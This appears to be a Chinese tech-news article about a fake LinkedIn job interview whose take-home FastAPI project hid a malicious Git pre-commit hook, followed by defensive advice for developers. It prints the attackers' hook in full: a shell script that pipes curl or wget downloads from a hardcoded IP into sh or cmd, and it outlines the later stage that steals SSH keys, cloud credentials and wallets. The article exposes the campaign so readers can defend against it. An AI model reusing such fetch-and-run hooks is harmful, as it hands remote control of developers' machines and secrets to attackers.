面试题里藏木马,专偷程序员的SSH密钥

securitysocial-engineeringjobs

数据源:HN + web research · HN

当面试题变成木马:一次”招聘”背后的精心策划

上周四,一位名叫 Appaji 的开发者收到 LinkedIn 招聘私信。对方提供月薪 1 万到 1.5 万美元的远程 Python 开发岗位,面试流程很简单:一轮在线沟通加一个”回家作业”(take-home project)。工资诱人,公司是一家 Y Combinator 孵化的初创企业,一切似乎合情合理。

但 Appaji 留了个心眼。他把项目压缩包下载到本地,习惯性地跑了一趟 tree -a,查看隐藏目录。在密密麻麻的文件树中,他看到了一个不寻常的 .git/hooks/pre-commit 文件。打开一看——那是一行自动识别操作系统的远程下载脚本。它会根据你的电脑是 macOS、Linux 还是 Windows,静默下载对应的后门程序,然后在后台无声运行。那本质上是一次精心设计的攻击——窃取 SSH 密钥、AWS 凭证、加密钱包……在求职者毫无察觉的情况下,把整个开发环境变成一座敞开的金库。

LinkedIn 招聘私信截图:看起来完全正常的招聘开场

图注:收到的那条 LinkedIn 私信,招聘方主动告知薪资范围,这在真实招聘中虽然不算罕见,但事后看来,过高的薪资正是第一面红旗。

一次”面试”的完整剧本

笔者根据 Appaji 公开的技术分析,还原了这起事件的完整攻击链路。

第一步:钓鱼——谁会对高薪说不?

招聘方主动在 LinkedIn 上私信目标。薪资区间极其诱人,在印度市场环境下远超平均水平。受害者第一反应当然是”运气不错”,面试流程也出奇地顺利:简历提交后迅速通过。

第二步:看似专业的编程项目

对方发来 Google Drive 链接,内含 ZIP 压缩包和 PDF 面试说明。项目代码是一条 FastAPI 后端服务,用 SQLAlchemy 做 ORM——标准 Python 面试题模板。requirements.txt 干干净净,没有任何可疑的第三方包。

第三步:藏在 .git/hooks 里的”时间炸弹”

但 Appaji 用 tree -a 查看全部隐藏文件后,发现 .git/hooks 目录下预置了 20 多个 Git 钩子脚本。Git 钩子(Git hooks)是 Git 版本控制系统中一个相对冷门但强大的功能——它允许开发者在特定事件(如提交代码 git commit)时自动执行指定脚本。这本是一个生产力工具,被恶意利用后却成了理想的木马载体。

那个 pre-commit 钩子,会在执行 git commit 时自动触发。它的核心逻辑只有几行:

#!/bin/sh
case "$(uname -s)" in
  Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;
  Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 & ;;
  MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;;
esac

这段代码先判断目标的操作系统,然后从远程服务器下载后续脚本,在后台静默执行——不需要任何用户交互,没有任何弹窗提示。一旦运行 git commit,它就在眼皮底下干活了。

PDF 面试说明里偏偏有 Git 操作题——要求候选人修改代码然后提交,正是为了让受害者触发这个钩子。

第四步:多阶段载荷——藏在”npm 依赖”里的窃密程序

第一层脚本下载后从同一台服务器拉取第二段脚本,悄悄存入 ~/Documents/,重命名为 .sh 文件,通过 nohup 在后台运行。第二段脚本目标更明确:自动安装 Node.js,下载 parser.jspackage.json,通过 npm 安装依赖并运行 parser.js

这个 parser.js 被严重混淆,但其 package.json 暴露了攻击意图:依赖包括 clipboardy(读取剪贴板)、basic-ftp(FTP传输)、axios(HTTP请求)、jsonwebtoken(操作 JWT 令牌)以及 hardhat(以太坊开发工具)。暗示攻击者不仅想窃取 SSH 密钥和 AWS 凭证,还在搜寻加密货币钱包信息。

薪资截图:月薪 1 万到 1.5 万美元,远高于市场水平

图注:招聘方在首次沟通中就披露了薪资范围。事后分析认为,过高的薪资本身是典型的”诱饵”设计——让目标在兴奋和期待中放松警惕。

换个角度看:攻击者究竟有多专业?

这起事件远非普通木马可比。

巧妙的触发机制。攻击者特意在 PDF 面试说明中包含了 Git 操作题,让受害者”自愿”执行 git commit 来触发恶意代码。每一步都算好了受害者的行为。

多平台覆盖。攻击脚本覆盖了 macOS、Linux 和 Windows 三大操作系统,针对不同平台使用不同的下载工具和命令。说明攻击者从一开始就在计划一场大规模的、不特定于某类开发者的攻击。

身份追踪机制。请求 URL 中的 id=402 参数不是静态的。改变这个 ID 会返回不同的脚本。笔者推测,攻击者可能为每个受害者分配了唯一标识符,以追踪哪些目标成功”上钩”,并针对性地投放不同载荷。

多种传播方式。攻击者除了在 .git/hooks 中藏毒,又在另一个变体中通过 .vscode 目录下的 VSCode 启动任务来传播木马。只要你用 VSCode 打开项目目录并”信任”作者,恶意代码就会自动执行。

但也有业余的一面。攻击者使用的 C2 服务器 IP 地址是硬编码的明文,没有伪装域名,在现代恶意软件中显得有些”原始”。但服务器的 SSH 版本是最新的 9.6p1——说明攻击者在操作安全性上有一定意识。

这种”混合”特征——既有粗心也有精心——让笔者觉得,这很可能是一个中型犯罪团伙在快速迭代攻击工具。

程序员为什么成了”猎物”?

把攻击目标锁定在求职开发者身上并非偶然。

密钥即资产。程序员(尤其是后端和 DevOps 方向的开发者)的电脑上几乎必然存有 SSH 私钥、AWS/GCP/Azure 访问凭证、数据库密码、API Token……攻破一台开发者电脑,就等于拿到了打开该公司整个云基础设施的钥匙。一条 SSH 私钥在黑市上的价格远高于普通人的银行账户信息。

信任惯性。面试场景给攻击提供了天然的掩护。当一个人在积极找工作时,心理状态是”期望被认可”和”配合对方流程”。面试官让你做编程题、克隆仓库、运行命令——这些要求在候选人看来完全正常。攻击者精准利用了这种不对称信任。

技术门槛低、收益高。制作一个看起来像模像样的 FastAPI 项目只需几小时。克隆一个真实存在的开源仓库,加上恶意钩子,重新打包——成本极低,而一旦得手,潜在收益高达数十万美元。

“面试攻击”正在翻倍

Appaji 的遭遇并非孤例。微软安全团队将这类攻击命名为 “Contagious Interview”(传染式面试) ,指出该活动至少从 2022 年 12 月就已开始,攻击者伪装成加密货币或 AI 公司的招聘官,通过代码托管平台分发携带后门的编程作业。

根据安全社区统计,2026 年上半年这类”面试攻击”案例数量相比去年同期增长超过一倍。Hacker News 上多名开发者分享了类似遭遇——其中一位名叫 IvanGoncharov 的开发者提到,他在线上面试中被要求克隆并运行一个仓库作为技术评估,面试结束后”CTO”以生病为由取消后续流程,几天后 HR 的 LinkedIn 账号也消失。直到看到 Appaji 的文章,他才意识到自己已中招——他恰好是周下载量超 4300 万的流行 npm 包前维护者,因此成了更有价值的目标,不得不彻底格式化电脑并重装系统。

".npl"扩展名的搜索结果——这个特定后缀被用于恶意载荷的初始命名

图注:搜索发现,.npl 扩展名与已知的 APT 攻击活动有关联。攻击者在第一层载荷中使用这个扩展名来规避简单的文件名检查。

如何保护自己?给求职者的实用建议

笔者并不想制造恐慌,但了解一些基本防范可以避免成为下一个受害者。以下是几点建议:

1. 永远在隔离环境中运行面试项目。 在本地运行面试项目前,先用虚拟机或 Docker 容器隔离开来。跑一遍 tree -als -la,检查是否有异常的隐藏文件和预置的 Hook 文件。

2. 检查 .git/hooks.vscode 目录。 如果面试项目附带了 Git 仓库,先查看 .git/hooks 目录下是否有多余的脚本,特别是 pre-commitpost-checkout。VSCode 项目则检查 .vscode/tasks.json.vscode/launch.json

3. 对”高薪+简单面试”的组合保持警惕。 不是说高薪就一定有问题,但远高于市场价的薪资配合极其简化的面试流程,本身就是一个值得警惕的信号。

4. 不要在面试电脑上保留重要凭证。 在进行求职活动期间,考虑使用一台”干净”的开发设备或虚拟环境,不要将重要的 SSH 密钥和云服务凭证存放在可能运行面试项目的机器上。

5. 检查依赖和构建脚本。 在运行 npm installpip install 之前,先看 package.jsonrequirements.txtMakefile——有没有不合理的依赖包?有没有安装时触发的脚本?

6. 留意招聘方 LinkedIn 资料的”保质期”。 如果招聘专员的 LinkedIn 账号过于”新”(创建不久、联系人少、经历模糊),这很可能是一个假账号。真正的招聘专员通常有多年的人力资源工作史和可见的职业网络。

写在后头

笔者重读这个故事时,那种”本来差点就信了”的临界感最令人深思。Appaji 自己也承认,如果不是 CTF 比赛养成的检查隐藏目录的习惯,他可能也会直接 git commit 然后推送——他完全符合攻击者预期的”合格受害者”画像:有经验、技术好、正在找工作。

这种攻击的可怕之处在于它利用了人类社会中最基本的信任机制——“面试官让你做的事,按理说是安全且必要的。” 当恶意代码被包装成一个再正常不过的求职流程时,最先进的防病毒软件也无能为力。

或许,在数字安全的战场上,那颗”这次应该没问题吧”的心才是真正的薄弱环节。


参考链接

  • I Inspected My Take-Home Interview Project. It Was a Whole Operation(原始文章)
  • Contagious Interview: Malware delivered through fake developer job interviews(微软安全博客)
  • Fake Job Interview Backdoor Malware Targeting Developer Machines(DEV Community)
  • Contagious Interview malware in SVG images: DPRK campaign(Elastic Security Labs)
  • Hacker News 讨论帖(ID: 49013036)